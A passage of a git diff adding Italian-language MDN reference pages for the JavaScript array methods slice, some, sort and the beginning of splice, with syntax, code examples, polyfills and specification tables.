+ <dd>Se <code>end</code> non viene impostato, <code>slice</code> continua l'estrazione sino al termine dell'array (<code>arr.length</code>).</dd>
+ <dd>Se <code>end</code> è maggiore della lunghezza della sequenza , <code>slice</code> continua l'estrazione sino al termine dell'array (<code>arr.length</code>).</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>Un nuovo array che contiene gli elementi estratti.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p><code>slice</code> non modifica l'array originale. Restituisce una copia superficiale degli elementi dell'array originale. Gli elementi dell'array originale vengono copiati nell'array restituito come segue:</p>
+
+<ul>
+ <li>Per i riferimenti a oggetti (e non i veri e propri oggetti), <code>slice</code> copia i riferimenti nel nuovo array. Entrambi gli array riferiscono quindi lo stesso oggetto. Se un oggetto riferito viene modificato, le modifiche interessano entrambi gli array.</li>
+ <li>Per le stringhe, i numeri e i boolean (non oggetti {{jsxref("String")}}, {{jsxref("Number")}} e {{jsxref("Boolean")}} <code>slice</code> copia i valori nel nuovo array. Le modifiche alle stringhe, ai numeri e ai boolean in un array non interessano l'altro array.</li>
+</ul>
+
+<p>Se viene aggiunto un nuovo elemento in uno degli array, l'altro non viene modificato.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Restituire_una_porzione_dellarray_esistente">Restituire una porzione dell'array esistente</h3>
+
+<pre class="brush: js">var fruits = ['Banana', 'Orange', 'Lemon', 'Apple', 'Mango'];
+var citrus = fruits.slice(1, 3);
+
+// fruits contains ['Banana', 'Orange', 'Lemon', 'Apple', 'Mango']
+// citrus contains ['Orange','Lemon']
+</pre>
+
+<h3 id="Utilizzare_slice">Utilizzare <code>slice</code></h3>
+
+<p>Nell'esempio che segue, <code>slice</code> crea un nuovo array, <code>newCar</code>, da <code>myCar</code>. Entrambi includono un riferimento all'oggetto <code>myHonda</code>. Quando il colore di <code>myHonda</code> diventa viola, entrambi gli array riflettono la modifica.</p>
+
+<pre class="brush: js">// Creare newCar da myCar utilizzando slice.
+var myHonda = { color: 'red', wheels: 4, engine: { cylinders: 4, size: 2.2 } };
+var myCar = [myHonda, 2, 'cherry condition', 'purchased 1997'];
+var newCar = myCar.slice(0, 2);
+
+// Mostrare i valori di myCar, newCar, e il colore di myHonda
+//  riferiti da entrambi gli array.
+console.log('myCar = ' + JSON.stringify(myCar));
+console.log('newCar = ' + JSON.stringify(newCar));
+console.log('myCar[0].color = ' + myCar[0].color);
+console.log('newCar[0].color = ' + newCar[0].color);
+
+// Modificare il colore di myHonda.
+myHonda.color = 'purple';
+console.log('The new color of my Honda is ' + myHonda.color);
+
+// Mostrare il colore di myHonda riferito da entrambi gli array.
+console.log('myCar[0].color = ' + myCar[0].color);
+console.log('newCar[0].color = ' + newCar[0].color);
+</pre>
+
+<p>Lo script scrive:</p>
+
+<pre class="brush: js">myCar = [{color: 'red', wheels: 4, engine: {cylinders: 4, size: 2.2}}, 2,
+         'cherry condition', 'purchased 1997']
+newCar = [{color: 'red', wheels: 4, engine: {cylinders: 4, size: 2.2}}, 2]
+myCar[0].color = red
+newCar[0].color = red
+The new color of my Honda is purple
+myCar[0].color = purple
+newCar[0].color = purple
+</pre>
+
+<h2 id="Oggetti_Array-like">Oggetti Array-like</h2>
+
+<p>Il metodo <code>slice</code> può essere chiamato anche per convertire gli oggetti o le collezioni Array-like in un nuovo Array. Basta legare il metodo all'oggetto. {{jsxref("Functions/arguments", "arguments")}} all'interno di una funzione è un esempio di 'array-like object'.</p>
+
+<pre class="brush: js">function list() {
+  return Array.prototype.slice.call(arguments);
+}
+
+var list1 = list(1, 2, 3); // [1, 2, 3]
+</pre>
+
+<p>Il binding può essere effettuato con la funzione .<code>call</code> di {{jsxref("Function.prototype")}}<span style="font-size: 1rem; letter-spacing: -0.00278rem;"> e può anche essere ridotto utilizzando </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">[].slice.call(arguments)</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> invece di </span><code style="font-size: 1rem; letter-spacing: -0.00278rem;">Array.prototype.slice.call</code><span style="font-size: 1rem; letter-spacing: -0.00278rem;">. Ad ogni modo, può essere semplificato utilizzando {{jsxref("Function.prototype.bind", "bind")}}.</span></p>
+
+<pre class="brush: js">var unboundSlice = Array.prototype.slice;
+var slice = Function.prototype.call.bind(unboundSlice);
+
+function list() {
+  return slice(arguments);
+}
+
+var list1 = list(1, 2, 3); // [1, 2, 3]
+</pre>
+
+<h2 id="Streamlining_cross-browser_behavior">Streamlining cross-browser behavior</h2>
+
+<p>Although host objects (such as DOM objects) are not required by spec to follow the Mozilla behavior when converted by <code>Array.prototype.slice</code> and IE &lt; 9 does not do so, versions of IE starting with version 9 do allow this. “Shimming” it can allow reliable cross-browser behavior. As long as other modern browsers continue to support this ability, as currently do IE, Mozilla, Chrome, Safari, and Opera, developers reading (DOM-supporting) slice code relying on this shim will not be misled by the semantics; they can safely rely on the semantics to provide the now apparently <em>de facto</em> standard behavior. (The shim also fixes IE to work with the second argument of <code>slice()</code> being an explicit {{jsxref("null")}}/{{jsxref("undefined")}} value as earlier versions of IE also did not allow but all modern browsers, including IE &gt;= 9, now do.)</p>
+
+<pre class="brush: js">/**
+ * Shim for "fixing" IE's lack of support (IE &lt; 9) for applying slice
+ * on host objects like NamedNodeMap, NodeList, and HTMLCollection
+ * (technically, since host objects have been implementation-dependent,
+ * at least before ES2015, IE hasn't needed to work this way).
+ * Also works on strings, fixes IE &lt; 9 to allow an explicit undefined
+ * for the 2nd argument (as in Firefox), and prevents errors when
+ * called on other DOM objects.
+ */
+(function () {
+  'use strict';
+  var _slice = Array.prototype.slice;
+
+  try {
+    // Can't be used with DOM elements in IE &lt; 9
+    _slice.call(document.documentElement);
+  } catch (e) { // Fails in IE &lt; 9
+    // This will work for genuine arrays, array-like objects,
+    // NamedNodeMap (attributes, entities, notations),
+    // NodeList (e.g., getElementsByTagName), HTMLCollection (e.g., childNodes),
+    // and will not fail on other DOM objects (as do DOM elements in IE &lt; 9)
+    Array.prototype.slice = function(begin, end) {
+      // IE &lt; 9 gets unhappy with an undefined end argument
+      end = (typeof end !== 'undefined') ? end : this.length;
+
+      // For native Array objects, we use the native slice function
+      if (Object.prototype.toString.call(this) === '[object Array]'){
+        return _slice.call(this, begin, end);
+      }
+
+      // For array like object we handle it ourselves.
+      var i, cloned = [],
+        size, len = this.length;
+
+      // Handle negative value for "begin"
+      var start = begin || 0;
+      start = (start &gt;= 0) ? start : Math.max(0, len + start);
+
+      // Handle negative value for "end"
+      var upTo = (typeof end == 'number') ? Math.min(end, len) : len;
+      if (end &lt; 0) {
+        upTo = len + end;
+      }
+
+      // Actual expected size of the slice
+      size = upTo - start;
+
+      if (size &gt; 0) {
+        cloned = new Array(size);
+        if (this.charAt) {
+          for (i = 0; i &lt; size; i++) {
+            cloned[i] = this.charAt(start + i);
+          }
+        } else {
+          for (i = 0; i &lt; size; i++) {
+            cloned[i] = this[start + i];
+          }
+        }
+      }
+
+      return cloned;
+    };
+  }
+}());
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.10', 'Array.prototype.slice')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.slice', 'Array.prototype.slice')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.slice', 'Array.prototype.slice')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.slice")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.splice()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Function.prototype.bind()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/some/index.html b/files/it/web/javascript/reference/global_objects/array/some/index.html
new file mode 100644
index 0000000000..3befa8a8b0
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/some/index.html
@@ -0,0 +1,202 @@
+---
+title: Array.prototype.some()
+slug: Web/JavaScript/Reference/Global_Objects/Array/some
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/some
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>some()</strong></code> verifica se almeno un elemento nell'array passa la verifica implementata dalla funzione fornita.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Questo metodo ritorna <code>false</code> per qualsiasi condizione passata ad un array vuoto.</p>
+</div>
+
+
+
+<div>{{EmbedInteractiveExample("pages/js/array-some.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>arr</var>.some(<var>callback</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Funzione di test per ogni elemento, prende tre elementi:
+ <dl>
+  <dt><code>valoreCorrente</code></dt>
+  <dd>Il valore corrente dell'elemento che deve essere processato nell'array.</dd>
+  <dt><code>indice</code> {{Optional_inline}}</dt>
+  <dd>l'indice dell'elemento corrente dell'array.</dd>
+  <dt><code>array</code>{{Optional_inline}}</dt>
+  <dd>l'array completo alla quale è stato chiamato il <code>some().</code></dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code>{{Optional_inline}}</dt>
+ <dd>Valore da usare come <code>this</code> quando si esegue la <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valore_ritornato">Valore ritornato</h3>
+
+<p><code><strong>true</strong></code> se la funzione di callback ha ritornato un valore {{Glossary("truthy")}} per almeno un elemento nell'array; altrimenti, <code><strong>false</strong></code>.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p><code>some()</code> esegue la funzione di <code>callback</code> per ogni elemento presente nell'array finchè non ne trova uno dove la <code>callback</code> retorna un valore <em>truthy</em> (un valore che ritorna <code>true</code> se convertito in un Booleano). Se viene trovato un elemento di questo genere allora <code>some()</code> ritorna immediatamente <code>true</code>. altrimenti, <code>some()</code> ritorna <code>false</code>. <code>callback</code> viene invocato solamente solamente per gli elementi che hanno un valore assegnato; quindi non viene chiamato per elementi eliminati o mai assegnati.</p>
+
+<p><code>callback</code> è invocato con tre argomenti: il valore dell'elemento, l'indice dell'elemento nell'array, e l'array dalla quale è stato invocato.</p>
+
+<p>se viene passato un parametro <code>thisArg</code> al metodo <code>some()</code>, verrà usato come valore <code>this</code> per le callbacks. altrimenti, verrà usato il valore {{jsxref("undefined")}} come valore di <code>this</code>. Il valore di <code>this</code> nella <code>callback</code> è determinato in accordo con <a href="https://developer.mozilla.org/it/docs/Web/JavaScript/Reference/Operators/this">le normali regole per determinare il valore di this nelle funzioni</a>.</p>
+
+<p><code>some()</code> non muta l'array dalla quale è stato evocato.</p>
+
+<p>Il range di elementi processati da <code>some()</code> è impostato prima della prima chiamata alla <code>callback</code>. Gli elementi che vengono attaccati o aggiunti all'array dopo che è stata effettuata la chiamata al metodo <code>some()</code> non verranno tenuti in considerazione. Se al contrario un elemento viene cambiato prima che venga processato dalla <code>callback</code>, il valore passato sarà quello modificato.  Elementi eliminati invece non verranno controllati. </p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Testare_i_valori_all'interno_di_un_array">Testare i valori all'interno di un array</h3>
+
+<p>L'esempio seguente testa se almeno un elemento dell'array è maggiore di 10.</p>
+
+<pre class="brush: js">function isBiggerThan10(element, index, array) {
+  return element &gt; 10;
+}
+
+[2, 5, 8, 1, 4].some(isBiggerThan10);  // false
+[12, 5, 8, 1, 4].some(isBiggerThan10); // true
+</pre>
+
+<h3 id="Testing_array_elements_using_arrow_functions">Testing array elements using arrow functions</h3>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Arrow functions</a> provide a shorter syntax for the same test.</p>
+
+<pre class="brush: js">[2, 5, 8, 1, 4].some(x =&gt; x &gt; 10);  // false
+[12, 5, 8, 1, 4].some(x =&gt; x &gt; 10); // true
+</pre>
+
+<h3 id="Checking_whether_a_value_exists_in_an_array">Checking whether a value exists in an array</h3>
+
+<p>To mimic the function of the <code>includes()</code> method, this custom function returns <code>true</code> if the element exists in the array:</p>
+
+<pre class="brush: js">var fruits = ['apple', 'banana', 'mango', 'guava'];
+
+function checkAvailability(arr, val) {
+  return arr.some(function(arrVal) {
+    return val === arrVal;
+  });
+}
+
+checkAvailability(fruits, 'kela');   // false
+checkAvailability(fruits, 'banana'); // true</pre>
+
+<h3 id="Checking_whether_a_value_exists_using_an_arrow_function">Checking whether a value exists using an arrow function</h3>
+
+<pre class="brush: js">var fruits = ['apple', 'banana', 'mango', 'guava'];
+
+function checkAvailability(arr, val) {
+  return arr.some(arrVal =&gt; val === arrVal);
+}
+
+checkAvailability(fruits, 'kela');   // false
+checkAvailability(fruits, 'banana'); // true</pre>
+
+<h3 id="Converting_any_value_to_Boolean">Converting any value to Boolean</h3>
+
+<pre class="brush: js">var TRUTHY_VALUES = [true, 'true', 1];
+
+function getBoolean(value) {
+  'use strict';
+
+  if (typeof value === 'string') {
+    value = value.toLowerCase().trim();
+  }
+
+  return TRUTHY_VALUES.some(function(t) {
+    return t === value;
+  });
+}
+
+getBoolean(false);   // false
+getBoolean('false'); // false
+getBoolean(1);       // true
+getBoolean('true');  // true</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>some()</code> was added to the ECMA-262 standard in the 5th edition; as such it may not be present in all implementations of the standard. You can work around this by inserting the following code at the beginning of your scripts, allowing use of <code>some()</code> in implementations which do not natively support it. This algorithm is exactly the one specified in ECMA-262, 5th edition, assuming {{jsxref("Object")}} and {{jsxref("TypeError")}} have their original values and that <code>fun.call</code> evaluates to the original value of {{jsxref("Function.prototype.call()")}}.</p>
+
+<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.17
+// Reference: http://es5.github.io/#x15.4.4.17
+if (!Array.prototype.some) {
+  Array.prototype.some = function(fun/*, thisArg*/) {
+    'use strict';
+
+    if (this == null) {
+      throw new TypeError('Array.prototype.some called on null or undefined');
+    }
+
+    if (typeof fun !== 'function') {
+      throw new TypeError();
+    }
+
+    var t = Object(this);
+    var len = t.length &gt;&gt;&gt; 0;
+
+    var thisArg = arguments.length &gt;= 2 ? arguments[1] : void 0;
+    for (var i = 0; i &lt; len; i++) {
+      if (i in t &amp;&amp; fun.call(thisArg, t[i], i, t)) {
+        return true;
+      }
+    }
+
+    return false;
+  };
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.17', 'Array.prototype.some')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.some', 'Array.prototype.some')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.some', 'Array.prototype.some')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.some")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.find()")}}</li>
+ <li>{{jsxref("Array.prototype.forEach()")}}</li>
+ <li>{{jsxref("Array.prototype.every()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.some()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/sort/index.html b/files/it/web/javascript/reference/global_objects/array/sort/index.html
new file mode 100644
index 0000000000..6c16c7dd6b
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/sort/index.html
@@ -0,0 +1,267 @@
+---
+title: Array.prototype.sort()
+slug: Web/JavaScript/Reference/Global_Objects/Array/sort
+tags:
+  - Array
+  - JavaScript
+  - Metodi
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/sort
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>sort()</strong></code> ordina gli elementi di un array <em><a href="https://en.wikipedia.org/wiki/In-place_algorithm">in place</a></em> e ritorna l'array. L'ordinamento non è necessariamente <a href="https://en.wikipedia.org/wiki/Sorting_algorithm#Stability">stable</a>. L'ordinamento predefinito è in base ai punti di codice Unicode della stringa.</p>
+
+<p>Il tempo e la complessità dell'ordinamento dipendono dall'implementazione, perciò non possono essere garantiti.</p>
+
+<pre class="brush: js">var fruit = ['cherries', 'apples', 'bananas'];
+fruit.sort(); // ['apples', 'bananas', 'cherries']
+
+var scores = [1, 10, 21, 2];
+scores.sort(); // [1, 10, 2, 21]
+// Nota che 10 viene prima di 2,
+// perché '10' è l'insieme di due caratteri '1' e '0' così '10' viene prima di '2' nell'ordine dei codici Unicode code .
+
+var things = ['word', 'Word', '1 Word', '2 Words'];
+things.sort(); // ['1 Word', '2 Words', 'Word', 'word']
+// In Unicode, i numeri vengono prima delle lettere maiuscole,
+// che vengono prima delle lettere minuscole.
+</pre>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>arr</var>.sort()
+<var>arr</var>.sort(<var>[compareFunction]</var>)
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>compareFunction</code> {{optional_inline}}</dt>
+ <dd>Specifica una funzione che definisce il tipo di ordinamento. Se viene omessa, l'array è ordinato in base ai valori dei suoi caratteri <a href="/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Unicode">Unicode</a> code , basandosi sulle stringhe di ogni elemento convertito.</dd>
+</dl>
+
+<h3 id="Valore_ritornato">Valore ritornato</h3>
+
+<p>L'array ordinato. Nota che l'array è ordinato <em><a href="https://en.wikipedia.org/wiki/In-place_algorithm">in place</a></em>, e non viene fatta alcuna copia.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Se non viene fornita una <code>compareFunction</code> , gli elementi vengono ordinati convertendoli in stringhe e confrontando le stringhe nell'ordine dei codici Unicode . Per esempio, "Banana" viene prima di "cherry". In ordine numerico, 9 arriva prima dell'80, ma poiché i numeri vengono convertiti in stringhe, "80" viene prima di "9" nell'ordine Unicode.</p>
+
+<p>Se viene fornita una <code>compareFunction</code> , gli elementi dell'array vengono ordinati in base al valore restituito della funzione di confronto. Se a e b sono due elementi da confrontare, allora:</p>
+
+<ul>
+ <li>Se <code>compareFunction(a, b)</code> è minore di 0, posiziona <code>a</code> in un indice inferiore di <code>b</code>, quindi <code>a</code> viene prima.</li>
+ <li>Se <code>compareFunction(a, b)</code> ritorna 0, lascia <code>a</code> e <code>b</code> invariati l'uno rispetto all'altro, ma ordinati rispetto a tutti i diversi elementi. Nota: lo standard ECMAscript non garantisce questo comportamento, quindi non tutti i browser (ad esempio versioni di Mozilla risalenti almeno al 2003) rispettano questo.</li>
+ <li>Se <code>compareFunction(a, b)</code> è maggiore di 0, posiziona <code>b</code> con un indice più basso di <code>a</code>, cioè <code>b</code> viene prima.</li>
+ <li><code>compareFunction(a, b)</code> deve sempre restituire lo stesso valore quando viene data una coppia specifica di elementi a e b come i suoi due argomenti. Se vengono restituiti risultati non coerenti, l'ordinamento non è definito.</li>
+</ul>
+
+<p>Quindi, la funzione di confronto ha la seguente forma:</p>
+
+<pre class="brush: js">function compare(a, b) {
+  if (a è inferiore a b secondo un criterio di ordinamento) {
+    return -1;
+  }
+  if (a è maggiore di b secondo un criterio di ordinamento) {
+    return 1;
+  }
+  // a deve essere uguale a b
+  return 0;
+}
+</pre>
+
+<p>Per confrontare i numeri anziché le stringhe, la funzione di confronto può semplicemente sottrarre <code>b</code> da <code>a</code>. La seguente funzione ordinerà l'array in ordine crescente (se non contiene <code>Infinity</code> e <code>NaN</code>):</p>
+
+<pre class="brush: js">function compareNumbers(a, b) {
+  return a - b;
+}
+</pre>
+
+<p>Il metodo <code>sort</code> può essere usato bene con {{jsxref("Operators/function", "function expressions", "", 1)}} ( e <a href="/en-US/docs/Web/JavaScript/Guide/Closures">closures</a>):</p>
+
+<pre class="brush: js">var numbers = [4, 2, 5, 1, 3];
+numbers.sort(function(a, b) {
+  return a - b;
+});
+console.log(numbers);
+
+// [1, 2, 3, 4, 5]
+</pre>
+
+<p>ES2015 fornisce le {{jsxref("Functions_and_function_scope/Arrow_functions", "arrow function", "", 1)}}, che consentono una sintassi più compatta:</p>
+
+<pre class="brush: js">let numbers = [4, 2, 5, 1, 3];
+numbers.sort((a, b) =&gt; a - b);
+console.log(numbers);
+
+// [1, 2, 3, 4, 5]</pre>
+
+<p>Gli Object possono essere ordinati passando il valore di una delle loro proprietà.</p>
+
+<pre class="brush: js">var items = [
+  { name: 'Edward', value: 21 },
+  { name: 'Sharpe', value: 37 },
+  { name: 'And', value: 45 },
+  { name: 'The', value: -12 },
+  { name: 'Magnetic', value: 13 },
+  { name: 'Zeros', value: 37 }
+];
+
+// ordinamento per valore
+items.sort(function (a, b) {
+  return a.value - b.value;
+});
+
+// ordinamento per nome
+items.sort(function(a, b) {
+  var nameA = a.name.toUpperCase(); // ignora maiuscole e minuscole
+  var nameB = b.name.toUpperCase(); // ignora maiuscole e minuscole
+  if (nameA &lt; nameB) {
+    return -1;
+  }
+  if (nameA &gt; nameB) {
+    return 1;
+  }
+
+  // i nomi devono essere uguali
+  return 0;
+});</pre>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Creare_visualizzare_ed_ordinare_un_array">Creare, visualizzare, ed ordinare un array</h3>
+
+<p>L'esempio seguente crea quattro array , visualizza l'array originale e successivamente l'array ordinato. Gli array numerici sono ordinati prima senza e poi con una funzione di comparazione .</p>
+
+<pre class="brush: js">var stringArray = ['Blue', 'Humpback', 'Beluga'];
+var numericStringArray = ['80', '9', '700'];
+var numberArray = [40, 1, 5, 200];
+var mixedNumericArray = ['80', '9', '700', 40, 1, 5, 200];
+
+function compareNumbers(a, b) {
+  return a - b;
+}
+
+console.log('stringArray:', stringArray.join());
+console.log('Ordinato:', stringArray.sort());
+
+console.log('numberArray:', numberArray.join());
+console.log('Ordinato senza funzione compare:', numberArray.sort());
+console.log('Ordinato con compareNumbers:', numberArray.sort(compareNumbers));
+
+console.log('numericStringArray:', numericStringArray.join());
+console.log('Ordinato senza funzione compare:', numericStringArray.sort());
+console.log('Ordinato con compareNumbers:', numericStringArray.sort(compareNumbers));
+
+console.log('mixedNumericArray:', mixedNumericArray.join());
+console.log('Ordinato senza funzione compare:', mixedNumericArray.sort());
+console.log('Ordinato con compareNumbers:', mixedNumericArray.sort(compareNumbers));
+</pre>
+
+<p>Questo esempio produce il seguente output. Come viene mostrato, quando viene usata una funzione comparativa, i numeri vengono ordinati correttamente sia nel caso siano numeri che nel caso siano stringhe di numeri.</p>
+
+<pre>stringArray: Blue,Humpback,Beluga
+Ordinato: Beluga,Blue,Humpback
+
+numberArray: 40,1,5,200
+Ordinato senza funzione compare: 1,200,40,5
+Ordinato con compareNumbers: 1,5,40,200
+
+numericStringArray: 80,9,700
+Ordinato senza funzione compare: 700,80,9
+Ordinato con compareNumbers: 9,80,700
+
+mixedNumericArray: 80,9,700,40,1,5,200
+Ordinato senza funzione compare: 1,200,40,5,700,80,9
+Ordinato con compareNumbers: 1,5,9,40,80,200,700
+</pre>
+
+<h3 id="Ordinare_caratteri_non-ASCII">Ordinare caratteri non-ASCII </h3>
+
+<p>Per ordinare stringhe con caratteri non-ASCII, cioè stringhe con caratteri accentati (e, é, è, a, ä, etc.), stringhe da lingue diverse dall'inglese: si usa {{jsxref("String.localeCompare")}}. Questa funzione può confrontare quei caratteri in modo che compaiano nel giusto ordine.</p>
+
+<pre class="brush: js">var items = ['réservé', 'premier', 'cliché', 'communiqué', 'café', 'adieu'];
+items.sort(function (a, b) {
+  return a.localeCompare(b);
+});
+
+// items is ['adieu', 'café', 'cliché', 'communiqué', 'premier', 'réservé']
+</pre>
+
+<h3 id="Ordinare_con_map">Ordinare con map</h3>
+
+<p>La <code>compareFunction</code> può essere invocata più volte per elemento all'interno dell'array. In base alla natura della <code>compareFunction</code>, si potrebbe produrre un sovraccarico elevato. Maggiore è il lavoro svolto da <code>compareFunction</code> e maggiori sono gli elementi da ordinare, potrebbe essere saggio utilizzare una <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a> per l'ordinamento. L'idea è di percorrere una volta l'array per estrarre i valori effettivi usati per l'ordinamento in un array temporaneo, ordinare l'array temporaneo e quindi percorrere l'array temporaneo per ottenere l'ordine giusto.</p>
+
+<pre class="brush: js" dir="rtl">// l'array da ordinare
+var list = ['Delta', 'alpha', 'CHARLIE', 'bravo'];
+
+// l'array temporaneo contiene oggetti con posizione e valore di ordinamento
+var mapped = list.map(function(el, i) {
+  return { index: i, value: el.toLowerCase() };
+})
+
+// ordinamento dell'array mappato contenente i valori ridotti
+mapped.sort(function(a, b) {
+  if (a.value &gt; b.value) {
+    return 1;
+  }
+  if (a.value &lt; b.value) {
+    return -1;
+  }
+  return 0;
+});
+
+// contenitore per l'ordine risultante
+var result = mapped.map(function(el){
+  return list[el.index];
+});
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Osservazione</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.11', 'Array.prototype.sort')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.sort', 'Array.prototype.sort')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.sort', 'Array.prototype.sort')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_il_browser">Compatibilità con il browser</h2>
+
+<div>
+<div class="hidden">La tabella di compatibilità in questa pagina è generata da dati strutturati. Se desideri contribuire ai dati, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una richiesta di pull.</div>
+
+<p>{{Compat("javascript.builtins.Array.sort")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reverse()")}}</li>
+ <li>{{jsxref("String.prototype.localeCompare()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/splice/index.html b/files/it/web/javascript/reference/global_objects/array/splice/index.html
new file mode 100644
index 0000000000..a68058baf8
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/splice/index.html
@@ -0,0 +1,163 @@
+---
+title: Array.prototype.splice()
+slug: Web/JavaScript/Reference/Global_Objects/Array/splice
+tags:
+  - Aggiunta
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Rimozione
+  - splice
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/splice
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <strong><code>splice()</code></strong> modifica il contenuto di un array rimuovendo o sostituendo elementi esistenti e/o aggiungendo nuovi elementi <a href="https://en.wikipedia.org/wiki/In-place_algorithm">in place</a>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-splice.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>var arrDeletedItems = array</var>.splice(<var>start[</var>, <var>deleteCount[</var>, <var>item1[</var>, <var>item2[</var>, <em>...]]]]</em>)
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>start</code></dt>
+ <dd>L'indice al quale iniziare a cambiare l'array. Se maggiore della lunghezza dell'array, <code>start</code> sarà impostato sulla lunghezza dell'array. Se negativo, inizierà molti elementi dalla fine dell'array (con origine -1, che significa -n è l'indice dell'ultimo elemento dell'ennesima ed è quindi equivalente all'indice di <code>array.length - n</code>). Se il valore assoluto di  <code>start</code> è maggiore della lunghezza dell'array, inizierà dall'indice 0.</dd>
+ <dt><code>deleteCount</code> {{optional_inline}}</dt>
+ <dd>Un numero intero che indica il numero di elementi nell'array da rimuovere da <code>start</code>.</dd>
+ <dd>Se <code>deleteCount</code> viene omesso, o se il suo valore è uguale o maggiore di <code>array.length - start</code> (cioè, se è uguale o maggiore del numero di elementi rimasti nell'array, a partire da <code>start</code>), tutti gli elementi da <code>start</code> alla fine dell'array verranno eliminati.</dd>
